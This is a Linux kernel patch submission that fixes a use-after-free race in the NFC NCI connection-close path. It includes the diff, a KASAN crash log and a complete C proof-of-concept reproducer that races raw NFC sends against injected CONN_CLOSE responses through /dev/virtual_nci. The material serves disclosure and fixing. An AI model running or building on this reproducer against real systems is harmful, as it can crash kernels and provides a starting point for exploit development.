net/nfc/nci/rsp.c | 8 ++++++++ 1 file changed, 8 insertions(+)
nci_tx_work() calls nci_get_conn_info_by_conn_id() to look up a
conn_info and then dereferences it extensively (reading credits_cnt,
calling nci_send_frame, etc). The lookup and subsequent use are done
without any locking.
A concurrent nci_core_conn_close_rsp_packet(), processed on the
separate rx_wq workqueue, can call list_del() + devm_kfree() on the
same conn_info while nci_tx_work() is still using it, resulting in a
use-after-free.
Fix by flushing the tx workqueue before removing and freeing a
conn_info in nci_core_conn_close_rsp_packet(). This ensures any
in-progress nci_tx_work() has completed before the conn_info is freed.
The two workqueues (rx_wq, tx_wq) are independent, so this cannot
deadlock.
Race:
CPU0 (nfc0_nci_tx_wq) CPU1 (nfc0_nci_rx_wq)
============================ ==========================
nci_tx_work():
conn_info = nci_get_conn_info_by_conn_id()
// no lock held, raw pointer
nci_core_conn_close_rsp_packet():
list_del(&conn_info->list)
devm_kfree(conn_info)
atomic_read(&conn_info->credits_cnt)
// UAF: conn_info is freed
Reproduction:
1. Build kernel >= 3.4 with CONFIG_KASAN=y, CONFIG_NFC=y,
CONFIG_NFC_NCI=y, CONFIG_NFC_VIRTUAL_NCI=m
2. Boot in a VM, load virtual_nci module
3. Compile: gcc -O2 -o repro -static -pthread repro.c
4. Run as root: ./repro
5. Check dmesg for: BUG: KASAN: slab-use-after-free in nci_tx_work
or: BUG: KASAN: invalid-free in nci_rsp_packet
The reproducer opens /dev/virtual_nci, brings up an NFC device via
generic netlink, activates an RF interface, then races raw NFC data
sends against injected NCI CONN_CLOSE response packets. The tx_wq
and rx_wq are separate singlethread workqueues, allowing the race.
KASAN report (reproduced on 6.12.91 via /dev/virtual_nci):
BUG: KASAN: invalid-free in nci_rsp_packet+0x1424/0x21f0
Free of addr ffff88810da31028 by task kworker/u8:0/12
Workqueue: nfc0_nci_rx_wq nci_rx_work
Call Trace:
kfree+0x126/0x4d0
nci_rsp_packet+0x1424/0x21f0
nci_rx_work+0x2a1/0x440
process_one_work+0x953/0x1820
Allocated by task 37:
devm_kmalloc+0xa8/0x230
nci_rsp_packet+0x1a46/0x21f0
nci_rx_work+0x2a1/0x440
Fixes: 6a2968aaf50c ("NFC: basic NCI protocol implementation")
Signed-off-by: Sanghyun Park <sanghyun.park.cnu@gmail.com>
---
Hi,
I'm Sanghyun Park, a security researcher. I found this while auditing
the NFC NCI core code. The bug has existed since NCI was introduced in
3.4 and affects all kernels since then (Ubuntu 14.04+, Fedora 17+,
Debian 8+, etc.) on systems with NFC hardware or the virtual_nci module.
The C reproducer is attached separately (repro.c).
net/nfc/nci/rsp.c | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/net/nfc/nci/rsp.c b/net/nfc/nci/rsp.c
index 839a5c80de..c4d8e9f1a2 100644
--- a/net/nfc/nci/rsp.c
+++ b/net/nfc/nci/rsp.c
@@ -333,6 +333,14 @@ static void nci_core_conn_close_rsp_packet(struct
nci_dev *ndev,
conn_info = nci_get_conn_info_by_conn_id(ndev,
ndev->cur_conn_id);
if (conn_info) {
+ /*
+ * Flush any pending nci_tx_work before removing the
+ * conn_info. nci_tx_work looks up conn_info without
+ * locking, so it must not be running while we free
+ * the entry. The two workqueues (rx_wq, tx_wq) are
+ * independent, so this cannot deadlock.
+ */
+ flush_workqueue(ndev->tx_wq);
list_del(&conn_info->list);
if (conn_info == ndev->rf_conn_info)
ndev->rf_conn_info = NULL;
[ 43.417619] BUG: KASAN: invalid-free in nci_rsp_packet+0x1424/0x21f0
[ 43.418353] Free of addr ffff88810da31028 by task kworker/u8:0/12
[ 43.419245] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 6.12.91-dirty #24
[ 43.419260] Hardware name: QEMU Ubuntu 25.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 43.419264] Workqueue: nfc0_nci_rx_wq nci_rx_work
[ 43.419274] Call Trace:
[ 43.419276] <TASK>
[ 43.419279] dump_stack_lvl+0xba/0x110
[ 43.419287] print_report+0x174/0x4f6
[ 43.419328] ? __virt_addr_valid+0x86/0x670
[ 43.419355] ? nci_rsp_packet+0x1424/0x21f0
[ 43.419361] ? nci_rsp_packet+0x1424/0x21f0
[ 43.419366] kasan_report_invalid_free+0xaa/0xd0
[ 43.419384] ? nci_rsp_packet+0x1424/0x21f0
[ 43.419390] ? nci_rsp_packet+0x1424/0x21f0
[ 43.419395] check_slab_allocation+0x116/0x120
[ 43.419400] kfree+0x126/0x4d0
[ 43.419407] ? nfc_send_to_raw_sock+0x3a/0x230
[ 43.419412] ? nci_rsp_packet+0x1424/0x21f0
[ 43.419418] nci_rsp_packet+0x1424/0x21f0
[ 43.419430] ? nfc_send_to_raw_sock+0x101/0x230
[ 43.419439] nci_rx_work+0x2a1/0x440
[ 43.419447] process_one_work+0x953/0x1820
[ 43.419454] ? __pfx_process_one_work+0x10/0x10
[ 43.419462] ? __pfx_nci_rx_work+0x10/0x10
[ 43.419469] worker_thread+0x5cd/0xe20
[ 43.419476] ? __pfx_worker_thread+0x10/0x10
[ 43.419481] kthread+0x2b2/0x360
[ 43.419485] ? __pfx_kthread+0x10/0x10
[ 43.419490] ret_from_fork+0x4d/0x80
[ 43.419496] ? __pfx_kthread+0x10/0x10
[ 43.419500] ret_from_fork_asm+0x1a/0x30
[ 43.419507] </TASK>
[ 43.435161] Allocated by task 37:
[ 43.435566] kasan_save_stack+0x30/0x50
[ 43.436047] kasan_save_track+0x14/0x30
[ 43.436498] __kasan_kmalloc+0xaa/0xb0
[ 43.436960] __kmalloc_node_track_caller_noprof+0x216/0x490
[ 43.437594] devm_kmalloc+0xa8/0x230
[ 43.438034] nci_rsp_packet+0x1a46/0x21f0
[ 43.438508] nci_rx_work+0x2a1/0x440
[ 43.438968] process_one_work+0x953/0x1820
[ 43.439446] worker_thread+0x5cd/0xe20
[ 43.439892] kthread+0x2b2/0x360
[ 43.440278] ret_from_fork+0x4d/0x80
[ 43.440701] ret_from_fork_asm+0x1a/0x30
[ 43.441368] The buggy address belongs to the object at ffff88810da31000
which belongs to the cache kmalloc-128 of size 128
[ 43.442751] The buggy address is located 40 bytes inside of
128-byte region [ffff88810da31000, ffff88810da31080)
[ 43.444271] The buggy address belongs to the physical page:
[ 43.444920] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10da31
[ 43.445826] flags: 0x200000000000000(node=0|zone=2)
[ 43.446407] page_type: f5(slab)
[ 43.446785] raw: 0200000000000000 ffff888100041a00 ffffea000440d180 dead000000000004
[ 43.447668] raw: 0000000000000000 0000000000100010 00000001f5000000 0000000000000000
[ 43.448544] page dumped because: kasan: bad access detected
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/nfc.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef SOL_NETLINK
#define SOL_NETLINK 270
#endif
#ifndef NETLINK_ADD_MEMBERSHIP
#define NETLINK_ADD_MEMBERSHIP 1
#endif
#ifndef GENL_ID_CTRL
#define GENL_ID_CTRL NLMSG_MIN_TYPE
#endif
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#define IOCTL_GET_NCIDEV_IDX 0
#define MAX_NLMSG 8192
#define MAX_NCI_FRAME 4096
#define TX_PAYLOAD_LEN 4096
#define ATTEMPTS 50
#define NCI_MT_DATA_PKT 0x00
#define NCI_MT_CMD_PKT 0x01
#define NCI_MT_RSP_PKT 0x02
#define NCI_MT_NTF_PKT 0x03
#define NCI_GID_CORE 0x00
#define NCI_GID_RF_MGMT 0x01
#define NCI_GID_NFCEE 0x02
#define NCI_OID_CORE_RESET 0x00
#define NCI_OID_CORE_INIT 0x01
#define NCI_OID_CORE_SET_CONFIG 0x02
#define NCI_OID_CORE_CONN_CLOSE 0x05
#define NCI_OID_CORE_CREDITS 0x06
#define NCI_OID_RF_DISCOVER_MAP 0x00
#define NCI_OID_RF_DISCOVER 0x03
#define NCI_OID_RF_DISCOVER_SEL 0x04
#define NCI_OID_RF_INTF_ACTIVATED 0x05
#define NCI_OID_RF_DEACTIVATE 0x06
#define NCI_STATUS_OK 0x00
#define NCI_RF_PROTOCOL_NFC_DEP 0x05
#define NCI_RF_INTERFACE_NFC_DEP 0x03
#define NCI_NFC_A_PASSIVE_POLL_MODE 0x00
#define NCI_BIT_RATE_106 0x00
#define NCI_DATA_FLOW_CONTROL_NOT_USED 0xff
struct nfc_genl {
int fd;
uint16_t family_id;
uint32_t mcast_id;
uint32_t seq;
};
struct ctrl_ctx {
int fd;
volatile int stop;
volatile int arm_close;
volatile int data_tx_seen;
volatile int close_injected;
};
static uint8_t nci_hdr(uint8_t mt, uint8_t gid)
{
return (uint8_t)(((mt & 7) << 5) | (gid & 0x0f));
}
static uint8_t nci_mt(const uint8_t *frame)
{
return (uint8_t)((frame[0] >> 5) & 7);
}
static uint8_t nci_gid(const uint8_t *frame)
{
return (uint8_t)(frame[0] & 0x0f);
}
static uint8_t nci_oid(const uint8_t *frame)
{
return (uint8_t)(frame[1] & 0x3f);
}
static int write_nci_frame(int fd, const void *buf, size_t len)
{
ssize_t n;
do {
n = write(fd, buf, len);
} while (n < 0 && errno == EINTR);
if (n != (ssize_t)len) {
if (n >= 0)
errno = EIO;
return -1;
}
return 0;
}
static void send_status_rsp(int fd, uint8_t gid, uint8_t oid)
{
uint8_t rsp[5];
size_t len = 4;
rsp[0] = nci_hdr(NCI_MT_RSP_PKT, gid);
rsp[1] = oid;
rsp[2] = 1;
rsp[3] = NCI_STATUS_OK;
if (gid == NCI_GID_CORE && oid == NCI_OID_CORE_SET_CONFIG) {
rsp[2] = 2;
rsp[4] = 0;
len = 5;
} else if (gid == NCI_GID_NFCEE && oid == 0x00) {
rsp[2] = 2;
rsp[4] = 0;
len = 5;
}
(void)write_nci_frame(fd, rsp, len);
}
static void send_core_reset_rsp(int fd)
{
uint8_t rsp[] = {
0x40, 0x00, 0x03,
NCI_STATUS_OK,
0x10,
0x00,
};
(void)write_nci_frame(fd, rsp, sizeof(rsp));
}
static void send_core_init_rsp(int fd)
{
uint8_t rsp[] = {
0x40, 0x01, 0x12,
NCI_STATUS_OK,
0x00, 0x00, 0x00, 0x00,
0x01,
NCI_RF_INTERFACE_NFC_DEP,
0x04,
0x00, 0x00,
0xff,
0xff, 0x00,
0x00,
0x00, 0x00, 0x00, 0x00,
};
(void)write_nci_frame(fd, rsp, sizeof(rsp));
}
static void send_rf_deactivate_ntf(int fd)
{
uint8_t ntf[] = {
0x61, NCI_OID_RF_DEACTIVATE, 0x02,
0x00,
0x00,
};
(void)write_nci_frame(fd, ntf, sizeof(ntf));
}
static void send_conn_credits_ntf(int fd)
{
uint8_t ntf[] = {
0x60, NCI_OID_CORE_CREDITS, 0x03,
0x01,
0x00,
NCI_DATA_FLOW_CONTROL_NOT_USED,
};
(void)write_nci_frame(fd, ntf, sizeof(ntf));
}
static void send_conn_close_rsp(int fd)
{
uint8_t rsp[] = {
0x40, NCI_OID_CORE_CONN_CLOSE, 0x01,
NCI_STATUS_OK,
};
(void)write_nci_frame(fd, rsp, sizeof(rsp));
}
static void blast_conn_close_rsp(int fd)
{
for (int i = 0; i < 64; i++) {
send_conn_close_rsp(fd);
if ((i & 7) == 7)
sched_yield();
}
}
static void send_rf_intf_activated_ntf(int fd)
{
uint8_t ntf[] = {
0x61, NCI_OID_RF_INTF_ACTIVATED, 0x14,
0x01,
NCI_RF_INTERFACE_NFC_DEP,
NCI_RF_PROTOCOL_NFC_DEP,
NCI_NFC_A_PASSIVE_POLL_MODE,
0x01,
NCI_DATA_FLOW_CONTROL_NOT_USED,
0x09,
0x44, 0x00,
0x04,
0xde, 0xad, 0xbe, 0xef,
0x01,
0x40,
NCI_NFC_A_PASSIVE_POLL_MODE,
NCI_BIT_RATE_106,
NCI_BIT_RATE_106,
0x00,
};
(void)write_nci_frame(fd, ntf, sizeof(ntf));
}
static void handle_nci_cmd(struct ctrl_ctx *ctx, const uint8_t *buf, ssize_t n)
{
uint8_t gid;
uint8_t oid;
if (n < 3)
return;
gid = nci_gid(buf);
oid = nci_oid(buf);
if (gid == NCI_GID_CORE) {
switch (oid) {
case NCI_OID_CORE_RESET:
send_core_reset_rsp(ctx->fd);
return;
case NCI_OID_CORE_INIT:
send_core_init_rsp(ctx->fd);
return;
case NCI_OID_CORE_SET_CONFIG:
send_status_rsp(ctx->fd, gid, oid);
return;
case NCI_OID_CORE_CONN_CLOSE:
send_conn_close_rsp(ctx->fd);
return;
default:
send_status_rsp(ctx->fd, gid, oid);
return;
}
}
if (gid == NCI_GID_RF_MGMT) {
switch (oid) {
case NCI_OID_RF_DISCOVER_MAP:
case NCI_OID_RF_DISCOVER:
send_status_rsp(ctx->fd, gid, oid);
return;
case NCI_OID_RF_DISCOVER_SEL:
send_status_rsp(ctx->fd, gid, oid);
send_rf_intf_activated_ntf(ctx->fd);
return;
case NCI_OID_RF_DEACTIVATE:
send_status_rsp(ctx->fd, gid, oid);
send_rf_deactivate_ntf(ctx->fd);
return;
default:
send_status_rsp(ctx->fd, gid, oid);
return;
}
}
send_status_rsp(ctx->fd, gid, oid);
}
static void *controller_thread(void *arg)
{
struct ctrl_ctx *ctx = arg;
uint8_t buf[MAX_NCI_FRAME];
while (!__atomic_load_n(&ctx->stop, __ATOMIC_RELAXED)) {
struct pollfd pfd = { .fd = ctx->fd, .events = POLLIN };
int pr = poll(&pfd, 1, 10);
if (pr < 0) {
if (errno == EINTR)
continue;
break;
}
if (pr == 0 || !(pfd.revents & POLLIN))
continue;
ssize_t n = read(ctx->fd, buf, sizeof(buf));
if (n < 0) {
if (errno == EINTR || errno == EAGAIN)
continue;
break;
}
if (n < 3)
continue;
if (nci_mt(buf) == NCI_MT_CMD_PKT) {
handle_nci_cmd(ctx, buf, n);
} else if (nci_mt(buf) == NCI_MT_DATA_PKT) {
int seen = __atomic_add_fetch(&ctx->data_tx_seen, 1,
__ATOMIC_RELAXED);
if (__atomic_load_n(&ctx->arm_close, __ATOMIC_RELAXED) &&
!__atomic_exchange_n(&ctx->close_injected, 1,
__ATOMIC_RELAXED)) {
blast_conn_close_rsp(ctx->fd);
} else if ((seen & 0x3f) == 0) {
send_conn_credits_ntf(ctx->fd);
}
}
}
return NULL;
}
static int addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
const void *data, size_t alen)
{
size_t len = NLA_HDRLEN + alen;
size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(len);
struct nlattr *nla;
if (newlen > maxlen) {
errno = EMSGSIZE;
return -1;
}
nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
nla->nla_type = type;
nla->nla_len = (uint16_t)len;
if (alen)
memcpy((char *)nla + NLA_HDRLEN, data, alen);
memset((char *)nla + len, 0, NLA_ALIGN(len) - len);
nlh->nlmsg_len = (uint32_t)newlen;
return 0;
}
static int addattr_u32(struct nlmsghdr *nlh, size_t maxlen, int type,
uint32_t value)
{
return addattr_l(nlh, maxlen, type, &value, sizeof(value));
}
static int addattr_u8(struct nlmsghdr *nlh, size_t maxlen, int type,
uint8_t value)
{
return addattr_l(nlh, maxlen, type, &value, sizeof(value));
}
static int addattr_strz(struct nlmsghdr *nlh, size_t maxlen, int type,
const char *value)
{
return addattr_l(nlh, maxlen, type, value, strlen(value) + 1);
}
static int parse_attrs(struct nlattr **tb, int maxattr, struct nlattr *attr,
int len)
{
memset(tb, 0, sizeof(struct nlattr *) * (maxattr + 1));
while (len >= (int)sizeof(*attr) && attr->nla_len >= sizeof(*attr) &&
attr->nla_len <= len) {
int type = attr->nla_type & NLA_TYPE_MASK;
if (type <= maxattr)
tb[type] = attr;
len -= NLA_ALIGN(attr->nla_len);
attr = (struct nlattr *)((char *)attr + NLA_ALIGN(attr->nla_len));
}
return len == 0 ? 0 : -1;
}
static uint32_t nla_get_u32_local(const struct nlattr *nla)
{
uint32_t v;
memcpy(&v, (const char *)nla + NLA_HDRLEN, sizeof(v));
return v;
}
static uint16_t nla_get_u16_local(const struct nlattr *nla)
{
uint16_t v;
memcpy(&v, (const char *)nla + NLA_HDRLEN, sizeof(v));
return v;
}
static char *nla_data_local(const struct nlattr *nla)
{
return (char *)nla + NLA_HDRLEN;
}
static int recv_ack(int fd, uint32_t seq)
{
char buf[MAX_NLMSG];
for (;;) {
ssize_t n = recv(fd, buf, sizeof(buf), 0);
if (n < 0) {
if (errno == EINTR)
continue;
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
NLMSG_OK(nlh, (unsigned int)n);
nlh = NLMSG_NEXT(nlh, n)) {
if (nlh->nlmsg_seq != seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = NLMSG_DATA(nlh);
if (err->error) {
errno = -err->error;
return -1;
}
return 0;
}
}
}
}
static int resolve_nfc_family(struct nfc_genl *genl)
{
char req[MAX_NLMSG];
char resp[MAX_NLMSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)req;
struct genlmsghdr *ghdr;
uint32_t seq = ++genl->seq;
memset(req, 0, sizeof(req));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
ghdr = NLMSG_DATA(nlh);
ghdr->cmd = CTRL_CMD_GETFAMILY;
ghdr->version = 1;
if (addattr_strz(nlh, sizeof(req), CTRL_ATTR_FAMILY_NAME, NFC_GENL_NAME))
return -1;
if (send(genl->fd, req, nlh->nlmsg_len, 0) < 0)
return -1;
for (;;) {
ssize_t n = recv(genl->fd, resp, sizeof(resp), 0);
if (n < 0) {
if (errno == EINTR)
continue;
return -1;
}
for (nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, (unsigned int)n);
nlh = NLMSG_NEXT(nlh, n)) {
struct nlattr *tb[CTRL_ATTR_MAX + 1];
int attrlen;
if (nlh->nlmsg_seq != seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = NLMSG_DATA(nlh);
errno = err->error ? -err->error : EPROTO;
return -1;
}
ghdr = NLMSG_DATA(nlh);
attrlen = (int)nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
if (attrlen < 0)
continue;
if (parse_attrs(tb, CTRL_ATTR_MAX,
(struct nlattr *)((char *)ghdr + GENL_HDRLEN),
attrlen))
continue;
if (!tb[CTRL_ATTR_FAMILY_ID])
continue;
genl->family_id = nla_get_u16_local(tb[CTRL_ATTR_FAMILY_ID]);
genl->mcast_id = 0;
if (tb[CTRL_ATTR_MCAST_GROUPS]) {
struct nlattr *grp;
int rem = tb[CTRL_ATTR_MCAST_GROUPS]->nla_len - NLA_HDRLEN;
grp = (struct nlattr *)nla_data_local(tb[CTRL_ATTR_MCAST_GROUPS]);
while (rem >= (int)sizeof(*grp) && grp->nla_len >= sizeof(*grp) &&
grp->nla_len <= rem) {
struct nlattr *gtb[CTRL_ATTR_MCAST_GRP_MAX + 1];
int glen = grp->nla_len - NLA_HDRLEN;
if (!parse_attrs(gtb, CTRL_ATTR_MCAST_GRP_MAX,
(struct nlattr *)nla_data_local(grp), glen) &&
gtb[CTRL_ATTR_MCAST_GRP_NAME] &&
gtb[CTRL_ATTR_MCAST_GRP_ID] &&
strcmp(nla_data_local(gtb[CTRL_ATTR_MCAST_GRP_NAME]),
NFC_GENL_MCAST_EVENT_NAME) == 0) {
genl->mcast_id = nla_get_u32_local(gtb[CTRL_ATTR_MCAST_GRP_ID]);
}
rem -= NLA_ALIGN(grp->nla_len);
grp = (struct nlattr *)((char *)grp + NLA_ALIGN(grp->nla_len));
}
}
return 0;
}
}
}
static int genl_open(struct nfc_genl *genl)
{
struct sockaddr_nl addr;
memset(genl, 0, sizeof(*genl));
genl->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (genl->fd < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
addr.nl_pid = (uint32_t)getpid();
if (bind(genl->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
return -1;
if (resolve_nfc_family(genl) < 0)
return -1;
if (genl->mcast_id) {
(void)setsockopt(genl->fd, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP,
&genl->mcast_id, sizeof(genl->mcast_id));
}
return 0;
}
static int genl_cmd_device_u32(struct nfc_genl *genl, uint8_t cmd,
uint32_t dev_idx)
{
char req[MAX_NLMSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)req;
struct genlmsghdr *ghdr;
uint32_t seq = ++genl->seq;
memset(req, 0, sizeof(req));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = genl->family_id;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = seq;
ghdr = NLMSG_DATA(nlh);
ghdr->cmd = cmd;
ghdr->version = NFC_GENL_VERSION;
if (addattr_u32(nlh, sizeof(req), NFC_ATTR_DEVICE_INDEX, dev_idx))
return -1;
if (send(genl->fd, req, nlh->nlmsg_len, 0) < 0)
return -1;
return recv_ack(genl->fd, seq);
}
static int genl_start_poll(struct nfc_genl *genl, uint32_t dev_idx)
{
char req[MAX_NLMSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)req;
struct genlmsghdr *ghdr;
uint32_t seq = ++genl->seq;
uint32_t protocols = NFC_PROTO_NFC_DEP_MASK;
memset(req, 0, sizeof(req));
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = genl->family_id;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = seq;
ghdr = NLMSG_DATA(nlh);
ghdr->cmd = NFC_CMD_START_POLL;
ghdr->version = NFC_GENL_VERSION;
if (addattr_u32(nlh, sizeof(req), NFC_ATTR_DEVICE_INDEX, dev_idx) ||
addattr_u32(nlh, sizeof(req), NFC_ATTR_PROTOCOLS, protocols))
return -1;
if (send(genl->fd, req, nlh->nlmsg_len, 0) < 0)
return -1;
return recv_ack(genl->fd, seq);
}
static int connect_raw_nfc_socket(uint32_t dev_idx, uint32_t target_idx)
{
int s;
struct sockaddr_nfc addr;
s = socket(AF_NFC, SOCK_SEQPACKET, NFC_SOCKPROTO_RAW);
if (s < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sa_family = AF_NFC;
addr.dev_idx = dev_idx;
addr.target_idx = target_idx;
addr.nfc_protocol = NFC_PROTO_NFC_DEP;
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(s);
return -1;
}
return s;
}
static int run_attempt(int attempt, struct nfc_genl *genl)
{
int vfd = -1;
int rawfd = -1;
uint32_t dev_idx = 0;
pthread_t tid;
struct ctrl_ctx ctx;
uint8_t *payload = NULL;
int ret = -1;
memset(&ctx, 0, sizeof(ctx));
vfd = open("/dev/virtual_nci", O_RDWR | O_CLOEXEC);
if (vfd < 0) {
perror("open /dev/virtual_nci");
return -1;
}
if (ioctl(vfd, IOCTL_GET_NCIDEV_IDX, &dev_idx) < 0) {
perror("ioctl(IOCTL_GET_NCIDEV_IDX)");
goto out_close_vfd;
}
ctx.fd = vfd;
if (pthread_create(&tid, NULL, controller_thread, &ctx) != 0) {
perror("pthread_create");
goto out_close_vfd;
}
printf("[%02d] nfc%u: DEV_UP\n", attempt, dev_idx);
if (genl_cmd_device_u32(genl, NFC_CMD_DEV_UP, dev_idx) < 0) {
perror("NFC_CMD_DEV_UP");
goto out_stop_thread;
}
printf("[%02d] nfc%u: START_POLL(NFC-DEP)\n", attempt, dev_idx);
if (genl_start_poll(genl, dev_idx) < 0) {
perror("NFC_CMD_START_POLL");
goto out_dev_down;
}
send_rf_intf_activated_ntf(vfd);
usleep(50000);
rawfd = connect_raw_nfc_socket(dev_idx, 0);
if (rawfd < 0) {
perror("raw NFC socket/connect");
goto out_dev_down;
}
payload = malloc(TX_PAYLOAD_LEN);
if (!payload) {
perror("malloc payload");
goto out_raw;
}
for (size_t i = 0; i < TX_PAYLOAD_LEN; i++)
payload[i] = (uint8_t)(0x41 + (i % 26));
printf("[%02d] racing send() vs CONN_CLOSE RSP (rawfd=%d)\n", attempt, rawfd);
__atomic_store_n(&ctx.arm_close, 1, __ATOMIC_RELAXED);
for (int burst = 0; burst < 100; burst++) {
ssize_t sent = send(rawfd, payload, 64, MSG_DONTWAIT);
if (burst == 0)
printf("[%02d] first send() returned %zd (errno=%d)\n", attempt, sent, sent < 0 ? errno : 0);
send_conn_close_rsp(vfd);
usleep(100);
}
usleep(50000);
printf("[%02d] data_tx_seen=%d close_injected=%d\n", attempt,
__atomic_load_n(&ctx.data_tx_seen, __ATOMIC_RELAXED),
__atomic_load_n(&ctx.close_injected, __ATOMIC_RELAXED));
usleep(100000);
ret = 0;
out_raw:
free(payload);
if (rawfd >= 0)
close(rawfd);
out_dev_down:
(void)genl_cmd_device_u32(genl, NFC_CMD_DEV_DOWN, dev_idx);
out_stop_thread:
__atomic_store_n(&ctx.stop, 1, __ATOMIC_RELAXED);
pthread_join(tid, NULL);
out_close_vfd:
close(vfd);
return ret;
}
int main(void)
{
struct nfc_genl genl;
int ok = 0;
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("NCI conn_info UAF race PoC\n");
if (genl_open(&genl) < 0) {
perror("open/resolve NFC generic netlink family");
return 1;
}
printf("generic netlink family '%s': id=%u mcast=%u\n",
NFC_GENL_NAME, genl.family_id, genl.mcast_id);
for (int i = 1; i <= ATTEMPTS; i++) {
if (run_attempt(i, &genl) == 0)
ok++;
usleep(150000);
}
close(genl.fd);
printf("completed %d/%d attempts; check dmesg for KASAN in nci_tx_work\n",
ok, ATTEMPTS);
return ok ? 0 : 1;
}
© 2016 - 2026 Red Hat, Inc.